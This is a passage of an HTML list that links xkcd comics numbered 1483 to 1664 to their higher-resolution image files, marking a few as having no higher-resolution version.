&lt;li>1483: &lt;a href="https://imgs.xkcd.com/comics/quotative_like_2x.png">https://imgs.xkcd.com/comics/quotative_like_2x.png&lt;/a>&lt;/li>
&lt;li>1484: &lt;a href="https://imgs.xkcd.com/comics/apollo_speeches_2x.png">https://imgs.xkcd.com/comics/apollo_speeches_2x.png&lt;/a>&lt;/li>
&lt;li>1485: &lt;a href="https://imgs.xkcd.com/comics/friendship_2x.png">https://imgs.xkcd.com/comics/friendship_2x.png&lt;/a>&lt;/li>
&lt;li>1486: &lt;a href="https://imgs.xkcd.com/comics/vacuum_2x.png">https://imgs.xkcd.com/comics/vacuum_2x.png&lt;/a>&lt;/li>
&lt;li>1487: &lt;a href="https://imgs.xkcd.com/comics/tornado_2x.png">https://imgs.xkcd.com/comics/tornado_2x.png&lt;/a>&lt;/li>
&lt;li>1488: &lt;a href="https://imgs.xkcd.com/comics/flowcharts_2x.png">https://imgs.xkcd.com/comics/flowcharts_2x.png&lt;/a>&lt;/li>
&lt;li>1489: &lt;a href="https://imgs.xkcd.com/comics/fundamental_forces_2x.png">https://imgs.xkcd.com/comics/fundamental_forces_2x.png&lt;/a>&lt;/li>
&lt;li>1490: &lt;a href="https://imgs.xkcd.com/comics/atoms_2x.png">https://imgs.xkcd.com/comics/atoms_2x.png&lt;/a>&lt;/li>
&lt;li>1491: No higher res available&lt;/li>
&lt;li>1492: &lt;a href="https://imgs.xkcd.com/comics/dress_color_2x.png">https://imgs.xkcd.com/comics/dress_color_2x.png&lt;/a>&lt;/li>
&lt;li>1493: &lt;a href="https://imgs.xkcd.com/comics/meeting_2x.png">https://imgs.xkcd.com/comics/meeting_2x.png&lt;/a>&lt;/li>
&lt;li>1494: &lt;a href="https://imgs.xkcd.com/comics/insurance_2x.png">https://imgs.xkcd.com/comics/insurance_2x.png&lt;/a>&lt;/li>
&lt;li>1495: &lt;a href="https://imgs.xkcd.com/comics/hard_reboot_2x.png">https://imgs.xkcd.com/comics/hard_reboot_2x.png&lt;/a>&lt;/li>
&lt;li>1496: &lt;a href="https://imgs.xkcd.com/comics/art_project_2x.png">https://imgs.xkcd.com/comics/art_project_2x.png&lt;/a>&lt;/li>
&lt;li>1497: &lt;a href="https://imgs.xkcd.com/comics/new_products_2x.png">https://imgs.xkcd.com/comics/new_products_2x.png&lt;/a>&lt;/li>
&lt;li>1498: &lt;a href="https://imgs.xkcd.com/comics/terry_pratchett_2x.png">https://imgs.xkcd.com/comics/terry_pratchett_2x.png&lt;/a>&lt;/li>
&lt;li>1499: &lt;a href="https://imgs.xkcd.com/comics/arbitrage_2x.png">https://imgs.xkcd.com/comics/arbitrage_2x.png&lt;/a>&lt;/li>
&lt;li>1500: &lt;a href="https://imgs.xkcd.com/comics/upside_down_map_2x.png">https://imgs.xkcd.com/comics/upside_down_map_2x.png&lt;/a>&lt;/li>
&lt;li>1501: &lt;a href="https://imgs.xkcd.com/comics/mysteries_2x.png">https://imgs.xkcd.com/comics/mysteries_2x.png&lt;/a>&lt;/li>
&lt;li>1502: &lt;a href="https://imgs.xkcd.com/comics/wasted_time_2x.png">https://imgs.xkcd.com/comics/wasted_time_2x.png&lt;/a>&lt;/li>
&lt;li>1503: &lt;a href="https://imgs.xkcd.com/comics/squirrel_plan_2x.png">https://imgs.xkcd.com/comics/squirrel_plan_2x.png&lt;/a>&lt;/li>
&lt;li>1504: &lt;a href="https://imgs.xkcd.com/comics/opportunity_2x.png">https://imgs.xkcd.com/comics/opportunity_2x.png&lt;/a>&lt;/li>
&lt;li>1505: &lt;a href="https://imgs.xkcd.com/comics/ontological_argument_2x.png">https://imgs.xkcd.com/comics/ontological_argument_2x.png&lt;/a>&lt;/li>
&lt;li>1506: No higher res available&lt;/li>
&lt;li>1507: &lt;a href="https://imgs.xkcd.com/comics/metaball_2x.png">https://imgs.xkcd.com/comics/metaball_2x.png&lt;/a>&lt;/li>
&lt;li>1508: &lt;a href="https://imgs.xkcd.com/comics/operating_systems_2x.png">https://imgs.xkcd.com/comics/operating_systems_2x.png&lt;/a>&lt;/li>
&lt;li>1509: &lt;a href="https://imgs.xkcd.com/comics/scenery_cheat_sheet_2x.png">https://imgs.xkcd.com/comics/scenery_cheat_sheet_2x.png&lt;/a>&lt;/li>
&lt;li>1510: &lt;a href="https://imgs.xkcd.com/comics/napoleon_2x.png">https://imgs.xkcd.com/comics/napoleon_2x.png&lt;/a>&lt;/li>
&lt;li>1511: &lt;a href="https://imgs.xkcd.com/comics/spice_girl_2x.png">https://imgs.xkcd.com/comics/spice_girl_2x.png&lt;/a>&lt;/li>
&lt;li>1512: &lt;a href="https://imgs.xkcd.com/comics/horoscopes_2x.png">https://imgs.xkcd.com/comics/horoscopes_2x.png&lt;/a>&lt;/li>
&lt;li>1513: &lt;a href="https://imgs.xkcd.com/comics/code_quality_2x.png">https://imgs.xkcd.com/comics/code_quality_2x.png&lt;/a>&lt;/li>
&lt;li>1514: &lt;a href="https://imgs.xkcd.com/comics/permacal_2x.png">https://imgs.xkcd.com/comics/permacal_2x.png&lt;/a>&lt;/li>
&lt;li>1515: &lt;a href="https://imgs.xkcd.com/comics/basketball_earth_2x.png">https://imgs.xkcd.com/comics/basketball_earth_2x.png&lt;/a>&lt;/li>
&lt;li>1516: &lt;a href="https://imgs.xkcd.com/comics/win_by_induction_2x.png">https://imgs.xkcd.com/comics/win_by_induction_2x.png&lt;/a>&lt;/li>
&lt;li>1517: &lt;a href="https://imgs.xkcd.com/comics/spectroscopy_2x.png">https://imgs.xkcd.com/comics/spectroscopy_2x.png&lt;/a>&lt;/li>
&lt;li>1518: &lt;a href="https://imgs.xkcd.com/comics/typical_morning_routine_2x.png">https://imgs.xkcd.com/comics/typical_morning_routine_2x.png&lt;/a>&lt;/li>
&lt;li>1519: &lt;a href="https://imgs.xkcd.com/comics/venus_2x.png">https://imgs.xkcd.com/comics/venus_2x.png&lt;/a>&lt;/li>
&lt;li>1520: &lt;a href="https://imgs.xkcd.com/comics/degree_off_2x.png">https://imgs.xkcd.com/comics/degree_off_2x.png&lt;/a>&lt;/li>
&lt;li>1521: &lt;a href="https://imgs.xkcd.com/comics/sword_in_the_stone_2x.png">https://imgs.xkcd.com/comics/sword_in_the_stone_2x.png&lt;/a>&lt;/li>
&lt;li>1522: &lt;a href="https://imgs.xkcd.com/comics/astronomy_2x.png">https://imgs.xkcd.com/comics/astronomy_2x.png&lt;/a>&lt;/li>
&lt;li>1523: &lt;a href="https://imgs.xkcd.com/comics/microdrones_2x.png">https://imgs.xkcd.com/comics/microdrones_2x.png&lt;/a>&lt;/li>
&lt;li>1524: &lt;a href="https://imgs.xkcd.com/comics/dimensions_2x.png">https://imgs.xkcd.com/comics/dimensions_2x.png&lt;/a>&lt;/li>
&lt;li>1525: No higher res available&lt;/li>
&lt;li>1526: &lt;a href="https://imgs.xkcd.com/comics/placebo_blocker_2x.png">https://imgs.xkcd.com/comics/placebo_blocker_2x.png&lt;/a>&lt;/li>
&lt;li>1527: &lt;a href="https://imgs.xkcd.com/comics/humans_2x.png">https://imgs.xkcd.com/comics/humans_2x.png&lt;/a>&lt;/li>
&lt;li>1528: &lt;a href="https://imgs.xkcd.com/comics/vodka_2x.png">https://imgs.xkcd.com/comics/vodka_2x.png&lt;/a>&lt;/li>
&lt;li>1529: &lt;a href="https://imgs.xkcd.com/comics/bracket_2x.png">https://imgs.xkcd.com/comics/bracket_2x.png&lt;/a>&lt;/li>
&lt;li>1530: &lt;a href="https://imgs.xkcd.com/comics/keyboard_mash_2x.png">https://imgs.xkcd.com/comics/keyboard_mash_2x.png&lt;/a>&lt;/li>
&lt;li>1531: &lt;a href="https://imgs.xkcd.com/comics/the_bdlpswdks_effect_2x.png">https://imgs.xkcd.com/comics/the_bdlpswdks_effect_2x.png&lt;/a>&lt;/li>
&lt;li>1532: &lt;a href="https://imgs.xkcd.com/comics/new_horizons_2x.png">https://imgs.xkcd.com/comics/new_horizons_2x.png&lt;/a>&lt;/li>
&lt;li>1533: &lt;a href="https://imgs.xkcd.com/comics/antique_factory_2x.png">https://imgs.xkcd.com/comics/antique_factory_2x.png&lt;/a>&lt;/li>
&lt;li>1534: &lt;a href="https://imgs.xkcd.com/comics/beer_2x.png">https://imgs.xkcd.com/comics/beer_2x.png&lt;/a>&lt;/li>
&lt;li>1535: &lt;a href="https://imgs.xkcd.com/comics/words_for_pets_2x.png">https://imgs.xkcd.com/comics/words_for_pets_2x.png&lt;/a>&lt;/li>
&lt;li>1536: &lt;a href="https://imgs.xkcd.com/comics/the_martian_2x.png">https://imgs.xkcd.com/comics/the_martian_2x.png&lt;/a>&lt;/li>
&lt;li>1537: &lt;a href="https://imgs.xkcd.com/comics/types_2x.png">https://imgs.xkcd.com/comics/types_2x.png&lt;/a>&lt;/li>
&lt;li>1538: &lt;a href="https://imgs.xkcd.com/comics/lyrics_2x.png">https://imgs.xkcd.com/comics/lyrics_2x.png&lt;/a>&lt;/li>
&lt;li>1539: &lt;a href="https://imgs.xkcd.com/comics/planning_2x.png">https://imgs.xkcd.com/comics/planning_2x.png&lt;/a>&lt;/li>
&lt;li>1540: &lt;a href="https://imgs.xkcd.com/comics/hemingway_2x.png">https://imgs.xkcd.com/comics/hemingway_2x.png&lt;/a>&lt;/li>
&lt;li>1541: &lt;a href="https://imgs.xkcd.com/comics/voice_2x.png">https://imgs.xkcd.com/comics/voice_2x.png&lt;/a>&lt;/li>
&lt;li>1542: &lt;a href="https://imgs.xkcd.com/comics/scheduling_conflict_2x.png">https://imgs.xkcd.com/comics/scheduling_conflict_2x.png&lt;/a>&lt;/li>
&lt;li>1543: &lt;a href="https://imgs.xkcd.com/comics/team_effort_2x.png">https://imgs.xkcd.com/comics/team_effort_2x.png&lt;/a>&lt;/li>
&lt;li>1544: &lt;a href="https://imgs.xkcd.com/comics/margaret_2x.png">https://imgs.xkcd.com/comics/margaret_2x.png&lt;/a>&lt;/li>
&lt;li>1545: &lt;a href="https://imgs.xkcd.com/comics/strengths_and_weaknesses_2x.png">https://imgs.xkcd.com/comics/strengths_and_weaknesses_2x.png&lt;/a>&lt;/li>
&lt;li>1546: &lt;a href="https://imgs.xkcd.com/comics/tamagotchi_hive_2x.png">https://imgs.xkcd.com/comics/tamagotchi_hive_2x.png&lt;/a>&lt;/li>
&lt;li>1547: &lt;a href="https://imgs.xkcd.com/comics/solar_system_questions_2x.png">https://imgs.xkcd.com/comics/solar_system_questions_2x.png&lt;/a>&lt;/li>
&lt;li>1548: &lt;a href="https://imgs.xkcd.com/comics/90s_kid_2x.png">https://imgs.xkcd.com/comics/90s_kid_2x.png&lt;/a>&lt;/li>
&lt;li>1549: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_3_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_3_2x.png&lt;/a>&lt;/li>
&lt;li>1550: &lt;a href="https://imgs.xkcd.com/comics/episode_vii_2x.png">https://imgs.xkcd.com/comics/episode_vii_2x.png&lt;/a>&lt;/li>
&lt;li>1551: No higher res available&lt;/li>
&lt;li>1552: &lt;a href="https://imgs.xkcd.com/comics/rulebook_2x.png">https://imgs.xkcd.com/comics/rulebook_2x.png&lt;/a>&lt;/li>
&lt;li>1553: &lt;a href="https://imgs.xkcd.com/comics/public_key_2x.png">https://imgs.xkcd.com/comics/public_key_2x.png&lt;/a>&lt;/li>
&lt;li>1554: &lt;a href="https://imgs.xkcd.com/comics/spice_girls_2x.png">https://imgs.xkcd.com/comics/spice_girls_2x.png&lt;/a>&lt;/li>
&lt;li>1555: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_names_2_2x.png">https://imgs.xkcd.com/comics/exoplanet_names_2_2x.png&lt;/a>&lt;/li>
&lt;li>1556: &lt;a href="https://imgs.xkcd.com/comics/the_sky_2x.png">https://imgs.xkcd.com/comics/the_sky_2x.png&lt;/a>&lt;/li>
&lt;li>1557: &lt;a href="https://imgs.xkcd.com/comics/ozymandias_2x.png">https://imgs.xkcd.com/comics/ozymandias_2x.png&lt;/a>&lt;/li>
&lt;li>1558: &lt;a href="https://imgs.xkcd.com/comics/vet_2x.png">https://imgs.xkcd.com/comics/vet_2x.png&lt;/a>&lt;/li>
&lt;li>1559: &lt;a href="https://imgs.xkcd.com/comics/driving_2x.png">https://imgs.xkcd.com/comics/driving_2x.png&lt;/a>&lt;/li>
&lt;li>1560: &lt;a href="https://imgs.xkcd.com/comics/bubblegum_2x.png">https://imgs.xkcd.com/comics/bubblegum_2x.png&lt;/a>&lt;/li>
&lt;li>1561: &lt;a href="https://imgs.xkcd.com/comics/water_phase_diagram_2x.png">https://imgs.xkcd.com/comics/water_phase_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>1562: &lt;a href="https://imgs.xkcd.com/comics/i_in_team_2x.png">https://imgs.xkcd.com/comics/i_in_team_2x.png&lt;/a>&lt;/li>
&lt;li>1563: &lt;a href="https://imgs.xkcd.com/comics/synonym_movies_2x.png">https://imgs.xkcd.com/comics/synonym_movies_2x.png&lt;/a>&lt;/li>
&lt;li>1564: &lt;a href="https://imgs.xkcd.com/comics/every_seven_seconds_2x.png">https://imgs.xkcd.com/comics/every_seven_seconds_2x.png&lt;/a>&lt;/li>
&lt;li>1565: &lt;a href="https://imgs.xkcd.com/comics/back_seat_2x.png">https://imgs.xkcd.com/comics/back_seat_2x.png&lt;/a>&lt;/li>
&lt;li>1566: &lt;a href="https://imgs.xkcd.com/comics/board_game_2x.png">https://imgs.xkcd.com/comics/board_game_2x.png&lt;/a>&lt;/li>
&lt;li>1567: &lt;a href="https://imgs.xkcd.com/comics/kitchen_tips_2x.png">https://imgs.xkcd.com/comics/kitchen_tips_2x.png&lt;/a>&lt;/li>
&lt;li>1568: &lt;a href="https://imgs.xkcd.com/comics/synonym_movies_2_2x.png">https://imgs.xkcd.com/comics/synonym_movies_2_2x.png&lt;/a>&lt;/li>
&lt;li>1569: &lt;a href="https://imgs.xkcd.com/comics/magic_tree_2x.png">https://imgs.xkcd.com/comics/magic_tree_2x.png&lt;/a>&lt;/li>
&lt;li>1570: &lt;a href="https://imgs.xkcd.com/comics/engineer_syllogism_2x.png">https://imgs.xkcd.com/comics/engineer_syllogism_2x.png&lt;/a>&lt;/li>
&lt;li>1571: &lt;a href="https://imgs.xkcd.com/comics/car_model_names_2x.png">https://imgs.xkcd.com/comics/car_model_names_2x.png&lt;/a>&lt;/li>
&lt;li>1572: &lt;a href="https://imgs.xkcd.com/comics/xkcd_survey_2x.png">https://imgs.xkcd.com/comics/xkcd_survey_2x.png&lt;/a>&lt;/li>
&lt;li>1573: &lt;a href="https://imgs.xkcd.com/comics/cyberintelligence_2x.png">https://imgs.xkcd.com/comics/cyberintelligence_2x.png&lt;/a>&lt;/li>
&lt;li>1574: &lt;a href="https://imgs.xkcd.com/comics/trouble_for_science_2x.png">https://imgs.xkcd.com/comics/trouble_for_science_2x.png&lt;/a>&lt;/li>
&lt;li>1575: &lt;a href="https://imgs.xkcd.com/comics/footprints_2x.png">https://imgs.xkcd.com/comics/footprints_2x.png&lt;/a>&lt;/li>
&lt;li>1576: &lt;a href="https://imgs.xkcd.com/comics/i_could_care_less_2x.png">https://imgs.xkcd.com/comics/i_could_care_less_2x.png&lt;/a>&lt;/li>
&lt;li>1577: &lt;a href="https://imgs.xkcd.com/comics/advent_2x.png">https://imgs.xkcd.com/comics/advent_2x.png&lt;/a>&lt;/li>
&lt;li>1578: &lt;a href="https://imgs.xkcd.com/comics/squirrelphone_2x.png">https://imgs.xkcd.com/comics/squirrelphone_2x.png&lt;/a>&lt;/li>
&lt;li>1579: &lt;a href="https://imgs.xkcd.com/comics/tech_loops_2x.png">https://imgs.xkcd.com/comics/tech_loops_2x.png&lt;/a>&lt;/li>
&lt;li>1580: &lt;a href="https://imgs.xkcd.com/comics/travel_ghosts_2x.png">https://imgs.xkcd.com/comics/travel_ghosts_2x.png&lt;/a>&lt;/li>
&lt;li>1581: &lt;a href="https://imgs.xkcd.com/comics/birthday_2x.png">https://imgs.xkcd.com/comics/birthday_2x.png&lt;/a>&lt;/li>
&lt;li>1582: &lt;a href="https://imgs.xkcd.com/comics/picture_a_grassy_field_2x.png">https://imgs.xkcd.com/comics/picture_a_grassy_field_2x.png&lt;/a>&lt;/li>
&lt;li>1583: &lt;a href="https://imgs.xkcd.com/comics/nasa_press_conference_2x.png">https://imgs.xkcd.com/comics/nasa_press_conference_2x.png&lt;/a>&lt;/li>
&lt;li>1584: &lt;a href="https://imgs.xkcd.com/comics/moments_of_inspiration_2x.png">https://imgs.xkcd.com/comics/moments_of_inspiration_2x.png&lt;/a>&lt;/li>
&lt;li>1585: &lt;a href="https://imgs.xkcd.com/comics/similarities_2x.png">https://imgs.xkcd.com/comics/similarities_2x.png&lt;/a>&lt;/li>
&lt;li>1586: &lt;a href="https://imgs.xkcd.com/comics/keyboard_problems_2x.png">https://imgs.xkcd.com/comics/keyboard_problems_2x.png&lt;/a>&lt;/li>
&lt;li>1587: &lt;a href="https://imgs.xkcd.com/comics/food_rule_2x.png">https://imgs.xkcd.com/comics/food_rule_2x.png&lt;/a>&lt;/li>
&lt;li>1588: &lt;a href="https://imgs.xkcd.com/comics/hardware_reductionism_2x.png">https://imgs.xkcd.com/comics/hardware_reductionism_2x.png&lt;/a>&lt;/li>
&lt;li>1589: &lt;a href="https://imgs.xkcd.com/comics/frankenstein_2x.png">https://imgs.xkcd.com/comics/frankenstein_2x.png&lt;/a>&lt;/li>
&lt;li>1590: &lt;a href="https://imgs.xkcd.com/comics/the_source_2x.png">https://imgs.xkcd.com/comics/the_source_2x.png&lt;/a>&lt;/li>
&lt;li>1591: &lt;a href="https://imgs.xkcd.com/comics/bells_theorem_2x.png">https://imgs.xkcd.com/comics/bells_theorem_2x.png&lt;/a>&lt;/li>
&lt;li>1592: &lt;a href="https://imgs.xkcd.com/comics/overthinking_2x.png">https://imgs.xkcd.com/comics/overthinking_2x.png&lt;/a>&lt;/li>
&lt;li>1593: &lt;a href="https://imgs.xkcd.com/comics/play_by_play_2x.png">https://imgs.xkcd.com/comics/play_by_play_2x.png&lt;/a>&lt;/li>
&lt;li>1594: &lt;a href="https://imgs.xkcd.com/comics/human_subjects_2x.png">https://imgs.xkcd.com/comics/human_subjects_2x.png&lt;/a>&lt;/li>
&lt;li>1595: &lt;a href="https://imgs.xkcd.com/comics/30_days_hath_september_2x.png">https://imgs.xkcd.com/comics/30_days_hath_september_2x.png&lt;/a>&lt;/li>
&lt;li>1596: &lt;a href="https://imgs.xkcd.com/comics/launch_status_check_2x.png">https://imgs.xkcd.com/comics/launch_status_check_2x.png&lt;/a>&lt;/li>
&lt;li>1597: &lt;a href="https://imgs.xkcd.com/comics/git_2x.png">https://imgs.xkcd.com/comics/git_2x.png&lt;/a>&lt;/li>
&lt;li>1598: &lt;a href="https://imgs.xkcd.com/comics/salvage_2x.png">https://imgs.xkcd.com/comics/salvage_2x.png&lt;/a>&lt;/li>
&lt;li>1599: &lt;a href="https://imgs.xkcd.com/comics/water_delivery_2x.png">https://imgs.xkcd.com/comics/water_delivery_2x.png&lt;/a>&lt;/li>
&lt;li>1600: &lt;a href="https://imgs.xkcd.com/comics/marketwatch_2x.png">https://imgs.xkcd.com/comics/marketwatch_2x.png&lt;/a>&lt;/li>
&lt;li>1601: &lt;a href="https://imgs.xkcd.com/comics/isolation_2x.png">https://imgs.xkcd.com/comics/isolation_2x.png&lt;/a>&lt;/li>
&lt;li>1602: &lt;a href="https://imgs.xkcd.com/comics/linguistics_club_2x.png">https://imgs.xkcd.com/comics/linguistics_club_2x.png&lt;/a>&lt;/li>
&lt;li>1603: &lt;a href="https://imgs.xkcd.com/comics/flashlights_2x.png">https://imgs.xkcd.com/comics/flashlights_2x.png&lt;/a>&lt;/li>
&lt;li>1604: &lt;a href="https://imgs.xkcd.com/comics/snakes_2x.png">https://imgs.xkcd.com/comics/snakes_2x.png&lt;/a>&lt;/li>
&lt;li>1605: &lt;a href="https://imgs.xkcd.com/comics/dna_2x.png">https://imgs.xkcd.com/comics/dna_2x.png&lt;/a>&lt;/li>
&lt;li>1606: &lt;a href="https://imgs.xkcd.com/comics/five_day_forecast_2x.png">https://imgs.xkcd.com/comics/five_day_forecast_2x.png&lt;/a>&lt;/li>
&lt;li>1607: &lt;a href="https://imgs.xkcd.com/comics/supreme_court_2x.png">https://imgs.xkcd.com/comics/supreme_court_2x.png&lt;/a>&lt;/li>
&lt;li>1608: No higher res available&lt;/li>
&lt;li>1609: &lt;a href="https://imgs.xkcd.com/comics/food_combinations_2x.png">https://imgs.xkcd.com/comics/food_combinations_2x.png&lt;/a>&lt;/li>
&lt;li>1610: &lt;a href="https://imgs.xkcd.com/comics/fire_ants_2x.png">https://imgs.xkcd.com/comics/fire_ants_2x.png&lt;/a>&lt;/li>
&lt;li>1611: &lt;a href="https://imgs.xkcd.com/comics/baking_soda_and_vinegar_2x.png">https://imgs.xkcd.com/comics/baking_soda_and_vinegar_2x.png&lt;/a>&lt;/li>
&lt;li>1612: &lt;a href="https://imgs.xkcd.com/comics/colds_2x.png">https://imgs.xkcd.com/comics/colds_2x.png&lt;/a>&lt;/li>
&lt;li>1613: &lt;a href="https://imgs.xkcd.com/comics/the_three_laws_of_robotics_2x.png">https://imgs.xkcd.com/comics/the_three_laws_of_robotics_2x.png&lt;/a>&lt;/li>
&lt;li>1614: &lt;a href="https://imgs.xkcd.com/comics/kites_2x.png">https://imgs.xkcd.com/comics/kites_2x.png&lt;/a>&lt;/li>
&lt;li>1615: &lt;a href="https://imgs.xkcd.com/comics/red_car_2x.png">https://imgs.xkcd.com/comics/red_car_2x.png&lt;/a>&lt;/li>
&lt;li>1616: &lt;a href="https://imgs.xkcd.com/comics/lunch_2x.png">https://imgs.xkcd.com/comics/lunch_2x.png&lt;/a>&lt;/li>
&lt;li>1617: &lt;a href="https://imgs.xkcd.com/comics/time_capsule_2x.png">https://imgs.xkcd.com/comics/time_capsule_2x.png&lt;/a>&lt;/li>
&lt;li>1618: &lt;a href="https://imgs.xkcd.com/comics/cold_medicine_2x.png">https://imgs.xkcd.com/comics/cold_medicine_2x.png&lt;/a>&lt;/li>
&lt;li>1619: &lt;a href="https://imgs.xkcd.com/comics/watson_medical_algorithm_2x.png">https://imgs.xkcd.com/comics/watson_medical_algorithm_2x.png&lt;/a>&lt;/li>
&lt;li>1620: &lt;a href="https://imgs.xkcd.com/comics/christmas_settings_2x.png">https://imgs.xkcd.com/comics/christmas_settings_2x.png&lt;/a>&lt;/li>
&lt;li>1621: &lt;a href="https://imgs.xkcd.com/comics/fixion_2x.png">https://imgs.xkcd.com/comics/fixion_2x.png&lt;/a>&lt;/li>
&lt;li>1622: &lt;a href="https://imgs.xkcd.com/comics/henge_2x.png">https://imgs.xkcd.com/comics/henge_2x.png&lt;/a>&lt;/li>
&lt;li>1623: &lt;a href="https://imgs.xkcd.com/comics/2016_conversation_guide_2x.png">https://imgs.xkcd.com/comics/2016_conversation_guide_2x.png&lt;/a>&lt;/li>
&lt;li>1624: &lt;a href="https://imgs.xkcd.com/comics/2016_2x.png">https://imgs.xkcd.com/comics/2016_2x.png&lt;/a>&lt;/li>
&lt;li>1625: &lt;a href="https://imgs.xkcd.com/comics/substitutions_2_2x.png">https://imgs.xkcd.com/comics/substitutions_2_2x.png&lt;/a>&lt;/li>
&lt;li>1626: &lt;a href="https://imgs.xkcd.com/comics/judgment_day_2x.png">https://imgs.xkcd.com/comics/judgment_day_2x.png&lt;/a>&lt;/li>
&lt;li>1627: &lt;a href="https://imgs.xkcd.com/comics/woosh_2x.png">https://imgs.xkcd.com/comics/woosh_2x.png&lt;/a>&lt;/li>
&lt;li>1628: &lt;a href="https://imgs.xkcd.com/comics/magnus_2x.png">https://imgs.xkcd.com/comics/magnus_2x.png&lt;/a>&lt;/li>
&lt;li>1629: &lt;a href="https://imgs.xkcd.com/comics/tools_2x.png">https://imgs.xkcd.com/comics/tools_2x.png&lt;/a>&lt;/li>
&lt;li>1630: &lt;a href="https://imgs.xkcd.com/comics/quadcopter_2x.png">https://imgs.xkcd.com/comics/quadcopter_2x.png&lt;/a>&lt;/li>
&lt;li>1631: &lt;a href="https://imgs.xkcd.com/comics/longer_than_usual_2x.png">https://imgs.xkcd.com/comics/longer_than_usual_2x.png&lt;/a>&lt;/li>
&lt;li>1632: &lt;a href="https://imgs.xkcd.com/comics/palindrome_2x.png">https://imgs.xkcd.com/comics/palindrome_2x.png&lt;/a>&lt;/li>
&lt;li>1633: &lt;a href="https://imgs.xkcd.com/comics/possible_undiscovered_planets_2x.png">https://imgs.xkcd.com/comics/possible_undiscovered_planets_2x.png&lt;/a>&lt;/li>
&lt;li>1634: &lt;a href="https://imgs.xkcd.com/comics/in_case_of_emergency_2x.png">https://imgs.xkcd.com/comics/in_case_of_emergency_2x.png&lt;/a>&lt;/li>
&lt;li>1635: &lt;a href="https://imgs.xkcd.com/comics/birdsong_2x.png">https://imgs.xkcd.com/comics/birdsong_2x.png&lt;/a>&lt;/li>
&lt;li>1636: &lt;a href="https://imgs.xkcd.com/comics/xkcd_stack_2x.png">https://imgs.xkcd.com/comics/xkcd_stack_2x.png&lt;/a>&lt;/li>
&lt;li>1637: &lt;a href="https://imgs.xkcd.com/comics/salt_mine_2x.png">https://imgs.xkcd.com/comics/salt_mine_2x.png&lt;/a>&lt;/li>
&lt;li>1638: &lt;a href="https://imgs.xkcd.com/comics/backslashes_2x.png">https://imgs.xkcd.com/comics/backslashes_2x.png&lt;/a>&lt;/li>
&lt;li>1639: &lt;a href="https://imgs.xkcd.com/comics/to_taste_2x.png">https://imgs.xkcd.com/comics/to_taste_2x.png&lt;/a>&lt;/li>
&lt;li>1640: &lt;a href="https://imgs.xkcd.com/comics/super_bowl_context_2x.png">https://imgs.xkcd.com/comics/super_bowl_context_2x.png&lt;/a>&lt;/li>
&lt;li>1641: &lt;a href="https://imgs.xkcd.com/comics/hot_dogs_2x.png">https://imgs.xkcd.com/comics/hot_dogs_2x.png&lt;/a>&lt;/li>
&lt;li>1642: &lt;a href="https://imgs.xkcd.com/comics/gravitational_waves_2x.png">https://imgs.xkcd.com/comics/gravitational_waves_2x.png&lt;/a>&lt;/li>
&lt;li>1643: &lt;a href="https://imgs.xkcd.com/comics/degrees_2x.png">https://imgs.xkcd.com/comics/degrees_2x.png&lt;/a>&lt;/li>
&lt;li>1644: &lt;a href="https://imgs.xkcd.com/comics/stargazing_2x.png">https://imgs.xkcd.com/comics/stargazing_2x.png&lt;/a>&lt;/li>
&lt;li>1645: &lt;a href="https://imgs.xkcd.com/comics/toasts_2x.png">https://imgs.xkcd.com/comics/toasts_2x.png&lt;/a>&lt;/li>
&lt;li>1646: &lt;a href="https://imgs.xkcd.com/comics/twitter_bot_2x.png">https://imgs.xkcd.com/comics/twitter_bot_2x.png&lt;/a>&lt;/li>
&lt;li>1647: &lt;a href="https://imgs.xkcd.com/comics/diacritics_2x.png">https://imgs.xkcd.com/comics/diacritics_2x.png&lt;/a>&lt;/li>
&lt;li>1648: &lt;a href="https://imgs.xkcd.com/comics/famous_duos_2x.png">https://imgs.xkcd.com/comics/famous_duos_2x.png&lt;/a>&lt;/li>
&lt;li>1649: &lt;a href="https://imgs.xkcd.com/comics/pipelines_2x.png">https://imgs.xkcd.com/comics/pipelines_2x.png&lt;/a>&lt;/li>
&lt;li>1650: &lt;a href="https://imgs.xkcd.com/comics/baby_2x.png">https://imgs.xkcd.com/comics/baby_2x.png&lt;/a>&lt;/li>
&lt;li>1651: &lt;a href="https://imgs.xkcd.com/comics/robotic_garage_2x.png">https://imgs.xkcd.com/comics/robotic_garage_2x.png&lt;/a>&lt;/li>
&lt;li>1652: &lt;a href="https://imgs.xkcd.com/comics/conditionals_2x.png">https://imgs.xkcd.com/comics/conditionals_2x.png&lt;/a>&lt;/li>
&lt;li>1653: &lt;a href="https://imgs.xkcd.com/comics/united_states_map_2x.png">https://imgs.xkcd.com/comics/united_states_map_2x.png&lt;/a>&lt;/li>
&lt;li>1654: &lt;a href="https://imgs.xkcd.com/comics/universal_install_script_2x.png">https://imgs.xkcd.com/comics/universal_install_script_2x.png&lt;/a>&lt;/li>
&lt;li>1655: &lt;a href="https://imgs.xkcd.com/comics/doomsday_clock_2x.png">https://imgs.xkcd.com/comics/doomsday_clock_2x.png&lt;/a>&lt;/li>
&lt;li>1656: &lt;a href="https://imgs.xkcd.com/comics/it_begins_2x.png">https://imgs.xkcd.com/comics/it_begins_2x.png&lt;/a>&lt;/li>
&lt;li>1657: &lt;a href="https://imgs.xkcd.com/comics/insanity_2x.png">https://imgs.xkcd.com/comics/insanity_2x.png&lt;/a>&lt;/li>
&lt;li>1658: &lt;a href="https://imgs.xkcd.com/comics/estimating_time_2x.png">https://imgs.xkcd.com/comics/estimating_time_2x.png&lt;/a>&lt;/li>
&lt;li>1659: &lt;a href="https://imgs.xkcd.com/comics/tire_swing_2x.png">https://imgs.xkcd.com/comics/tire_swing_2x.png&lt;/a>&lt;/li>
&lt;li>1660: &lt;a href="https://imgs.xkcd.com/comics/captain_speaking_2x.png">https://imgs.xkcd.com/comics/captain_speaking_2x.png&lt;/a>&lt;/li>
&lt;li>1661: &lt;a href="https://imgs.xkcd.com/comics/podium_2x.png">https://imgs.xkcd.com/comics/podium_2x.png&lt;/a>&lt;/li>
&lt;li>1662: &lt;a href="https://imgs.xkcd.com/comics/jack_and_jill_2x.png">https://imgs.xkcd.com/comics/jack_and_jill_2x.png&lt;/a>&lt;/li>
&lt;li>1663: No higher res available&lt;/li>
&lt;li>1664: &lt;a href="https://imgs.xkcd.com/comics/mycology_2x.png">https://imgs.xkcd.com/comics/mycology_2x.png&lt;/a>&lt;/li>
